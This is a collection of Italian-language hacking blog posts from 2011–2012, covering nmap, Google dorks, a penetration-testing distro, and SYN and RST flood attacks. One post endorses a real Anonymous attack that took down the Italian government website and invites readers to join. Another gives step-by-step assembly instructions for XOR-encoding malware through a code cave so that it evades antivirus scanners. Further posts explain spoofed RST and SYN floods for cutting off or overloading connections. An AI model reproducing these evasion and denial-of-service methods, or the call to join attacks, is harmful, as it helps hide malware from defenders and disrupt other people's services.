-P0:Disabilita la generazione di pacchetti ICMP, per eludere il firewall

Per approfondire l'argomento "Os fingerprinting" e quindi per evitare di fare i lamerini che non sanno niente di come funziona il programmino, consiglio di leggere questo capitolo sul sito di Nmap, dove vengono spiegati i metodi di scanning diciamo "a basso livello": Qua .

Alla prossima, Und3tect3d

sabato 14 gennaio 2012

Anonymous attacca di nuovo.The op. Italy is restarted

Proprio qualche giorno fa, il famoso gruppo internazionale di hackers anonimi "Anonymous" ha attaccato il sito del governo italiano.
Il motivo di questo attacco è stato esplicitamente scritto, ed io lo trovo assolutamente giusto.

"Il nuovo governo si è presentato con l'aspetto frigido di chi non avendo mai praticato la politica dovrebbe risultare esente dalle tentazioni che noi italiani ben conosciamo. Sventolando parole a lungo agognate quali equità, giustizia sociale e rigore. Ebbene di queste non s'è ancora vista l'ombra, escluso il contegno con cui vi presentate ai media. Sappiate che siete sotto osservazione da più parti, e che non basteranno quattro buoni propositi."
Ognuno di noi nel piccolo ha fatto il suo ed e' proprio cosi che funziona Anonymous.
Questo attacco è riuscito a buttare giù per circa 2 ore il sito del governo italiano e sono convinto che anche voi possiate dare una mano a migliorare il nostro paese e a combattere per questa ingiustizia.Unisciti a noi, perchè,
WE ARE ANONYMOUS.
YOU ARE ANONYMOUS.
WE ARE LEGION
WE DO NOT FORGIVE INJUSTICE
WE DO NOT FORGET FREEDOM

sabato 15 ottobre 2011

RST flood,interrompere una comunicazione TCP remota

Qualche giorno fa, mentre ripensavo al funzionamento di una connessione TCP, mi è venuto in mente un metodo efficace per terminare una connessione remota.
Come ben sapranno tutti quelli che mi stanno seguendo da un pò, inviando un pacchetto TCP con flag RST attivo, possiamo interrompere una comunicazione con un server alla quale precedentemente ci eravamo connessi tramite il three-way handshake (che dovreste sapere bene cos'è).
Combinando questo che vi ho appena detto, con l'IP spoofing, otteniamo un RST flood.
Non ne sono certo, ma di sicuro  sul web non c'è molto al riguardo, e non so se la tecnica sia veramente chiamata RST flood, anche se mi sembra un nome molto logico, derivato dal SYN flood, quindi mi ritengo al 50% scopritore di questa tecnica (questo non vuol dire che mi dobbiate ritenere come tale).
Venendo al dunque, per interrompere o rallentare una comunicazione remota, basterà inviare un pacchetto TCP con flag RST attivo, con source address l'ip del server, e con destination address l'ip vittima; in questo modo alla vittima arriverà un pacchetto di interruzione della connessione proveniente dal server a cui è connesso.
Ho testato personalmente questa tecnica con un mio amico, dicedogli di pingare google; successivamente io gli ho inviato 10 pacchetti, settati come ho spiegato prima, e la sua comunicazione si è dimezzata.

venerdì 30 settembre 2011

BackBox Linux, una buona alternativa


Vi ho già parlato di una distro linux dedicata al penetration testing, di nome backtrack; oggi invece, vi voglio parlare di questa valida alternativa che si chiama "BackBox".
Questa distro, è stata sviluppata da Raffaele Forte, ed è una distro tutta italiana.
Come si può ben vedere è basata su ubuntu 10.04, ed è molto semplice e maneggievole, ma se volete il mio parere, per il penetration testing è meglio backtrack.
Inoltre, sconsiglio di installare backbox su macchina virtuale, perchè da molti problemi.
Per adesso, questa distro è stata sviluppata fino alla versione 1.5, ma il fondatore promette di rilasciare la versione 2 del sistema operativo entro dicembre 2011.
Il sito ufficiale è http://www.backbox.org/

Alla prossima, BlackHack

sabato 9 luglio 2011

Le google dork e le loro potenzialità

Cosa sono le google dork
Il termine “google dork” fu coniato da Johnny Long e significava originariamente “una persona inetta e sciocca, come rivelata da Google”. Dopo un’enorme attenzione da parte dei media, il termine venne a descrivere quelli “che cercano su Internet informazioni riservate". 
Ciò che importa è che il termine google dork trasmette il concetto che del materiale sensibile è sul Web, e Google può aiutarti a trovarlo.

Vi elenco alcune delle googledorks che possono essere usate per la ricerca più approfondita:

site:duxhack.blogspot.com (limita i risultati a tutte le pagine che hanno duxhack.blogspot.com nell'url)
intitle:ciaoo (limita i risultati a tutte le pagine contenenti ciaoo)
allintitle:ciaoo (limita i risultati alle pagine che contengono ciaoo nel titolo)
inurl:chisono.htm(limita i risultati alle pagine che hanno "chisono.htm" nell'url)
filetype:exe (limita i risultati alle pagine che hanno una determinata estensione di file)
link:blackhack00.org(limita i risultati alle pagine che hanno il link blackhack00.org)
allintext:Alla prossima, BlackHack(limita i risultati alle pagine che contengono la frase: alla prossima, BlackHack)
define:worm (Fornisce la descrizione di un termine ed i link ad esso correlati.)
related:www.html.it (Cerca pagine simili o affini alla pagina specificata.)
info:www.google.it (Si ottengono ulteriori informazioni e link su un URL specificato. Fondamentale per tale descrizione è l'uso accorto dei metatag).

Tramite le google dork, si può arrivare a trovare persino telecamere pubblice. Approposito di telecamere, cercando sul web, qualche tempo fa ho trovato un PDF contenente la lista delle telecamere Axis sul web, con le rispettive dorks, QUI potrete trovare il txt copiato dal PDF di cui vi ho parlato (purtroppo non è aggiornato dal 2008).

Sito militare bucato da google

Uno dei migliori esempi di sfruttamento delle google dork, per scopi di hacking, è dato dall'accaduto di qualche settimana fa; infatti, è stato bucato un segretissimo sito militare statunitense (http://aepbus.army.mil)
Il sito ormai è off-line, ma inizialmente era apparentemente inaccessibile, fin quando un , probabilmente fortunato, ragazzo, non ha provato a bucarlo tramite una semplice dork.
La dork in questione era:"site:" e secondo il canale twitter del presunto hacker (mikkohypponen), tramite questa, google poteva contare ben più di 2000 file PDF segretissimi.

Queste dork, funzionano perchè google indicizza tutte le pagine, cioè permette di trovare a tutte le persone delle determinate pagine.Molto probabilmente gli addetti alla sicurezza di questo sito militare, non stando attenti, hanno reso "invisibile" (cioè non hanno indicizzato) solo le pagine più importanti del sito, quali la home ecc, dimenticandosi di pagine apparentemente più superflue, quali appunto quelle contenenti i file PDF.

mercoledì 22 giugno 2011

Bypassing VirusTotal with Code injection


Intro


Prima di tutto vorrei dire che questo post ha tutte le intenzioni di essere a scopo di studio.
Il nostro obbiettivo, è eludere tutti (o quasi) gli antivirus di virus total.
Per fare questo, in poche parole, andremo a modificare l'entrypoint del programma, redirectandolo verso un loop (chiamato encoder XOR) che terminerà riportando il programma verso l'indirizzo seguente all'entrypoint.


Creazione del codice vuoto (Code Cave)


Iniziamo subito con la creazione del codice vuoto...Prendete il vostro debugger (preferibilmente Olly) e controllate se il PE del vostro malware è scrivibile o no; nel caso non lo fosse dovrete ovviamente modificare il PE della sezione ".text" con un PE editor .
Adesso che il programma è scrivibile aprite un hex editor (ce ne sono tanti: hex editor neo, hex workshop ecc..) e inserite, possibilmente infondo, 1000 o piu' byte con valore "0".


Modifica EntryPoint, e redirect 
verso il codice vuoto

A questo punto, bisogna cercare di redirectare il programma al codice vuoto, modificando l'entrypoint.
Questa è un'operazione molto facile, infatti basterà trovare l'entrypoint del programma, prendere uno dei primi offset del codice vuoto, e redirectare l'entrypoint, con un semplice JMP all'offset del codice vuoto scelto.

  Inserimento encoder XOR nel codice vuoto

Qui viene la parte piu' difficile di questa guida, cioè l'inserimento del loop (l'encoder XOR) all'interno del codice vuoto.Proprio perchè difficile, vi scriverò esattamente quel che dovrete inserire nel codice vuoto:
1. Per prima cosa mettiamo nel registro EAX il contenuto dell'istruzione subito dopo il nostro entrypoint; codice: MOV EAX, OFFSET
2. Adesso facciamo lo XOR al codice a cui punta il registro EAX con chiave "0F"; codice: XOR BYTE PTR DS:[EAX].0F
3.Incremento del registro EAX; Codice: INC EAX
4. Comparazione del valore raggiunto di EAX con il valore dell'istruzione finale della sezione .text; codice: CMP EAX, OFFSET
5.Eseguiamo una specie di ciclo IF, usando un JLE, in modo che se il valore raggiunto da EAX non è uguale a quello a cui è stato comparato prima, torni allo XOR, e di conseguenza si incrementi e così via:
JLE SHORT, OFFSET (XOR).



Redirect al corpo del programma

Abbiamo ottenuto l'encoding del malware solo che così com'è non possiamo salvarlo, perchè ovviamente non abbiamo redirectato il programma di nuovo al corpo del programma. Quindi dopo il salto condizionato allo Xor, dobbiamo mettere un salto obbligato verso il corpo del programma.Quindi inseriamo subito dopo il codice JMP OFFSET (quello dopo l' entrypoint). 

Conclusioni

A questo punto il nostro malware non sara' piu' cosi':
EntryPoint --->corpo programma
ma sarà così:
EntryPoint --->JMP--->Encoder XOR--->JMP--->Corpo programma

martedì 22 marzo 2011

Il Syn Flood

Il SYN Flood

Il SYN Flood è un tipo di attacco DoS (denial of service) che si basa sulle regole di comunicazione del three handshake ( le regole per stabilire una connessione TCP con un server ).
Infatti secondo queste regole per stabilire una connessione con un server bisogna mandare un pacchetto con flag SYN attivo e aspettarne un altro con flag SYN/ACK attivo, ed infine mandare un terzo pacchetto con flag ACK attivo.
Ma qua entra in gioco l'IP Spoofing e mandando un SYN spoofato con ip 123.456.789.1 (per esempio) il server manderà il secondo pacchetto (flag SYN/ACK) al client con IP 123.456.789.1 in attesa del terzo pacchetto.Ovviamente, non esistendo, il client con IP 123.456.789.1 non risponderà e la macchina dopo qualche secondo invierà un pacchetto con RST attivo.

Il SYN Flood deriva proprio dal fatto che il server, una volta che avrà mandato il pacchetto con flag SYN/ACK attivo, si metterà in attesa per qualche secondo, e sovraccaricando il server di pacchetti spoofati si potrebbero far gravi danni al server.

SYN Flood come difendersi

Per difendersi dal SYN Flood sono stati inventati da djb i syncookie, che sono l'unica forma di difesa contro il SYN Floodding oltre ovviamente ai firewall che possono solo parzialmente bloccare questo attacco.
I syncookies agiscono cambiando la composizione del pacchetto SYN/ACK che il server manda in risposta.

Gli unici 2 sistemi operativi che possono usare questo tipo di difesa sono linux e solaris, ma purtroppo per chi non conosce bene linux è un problema attivarli perchè non sono impostati di default nel kernel.

Alla prossima, BlackHack


Ti potrebbero anche interessare

Related Posts Plugin for WordPress, Blogger...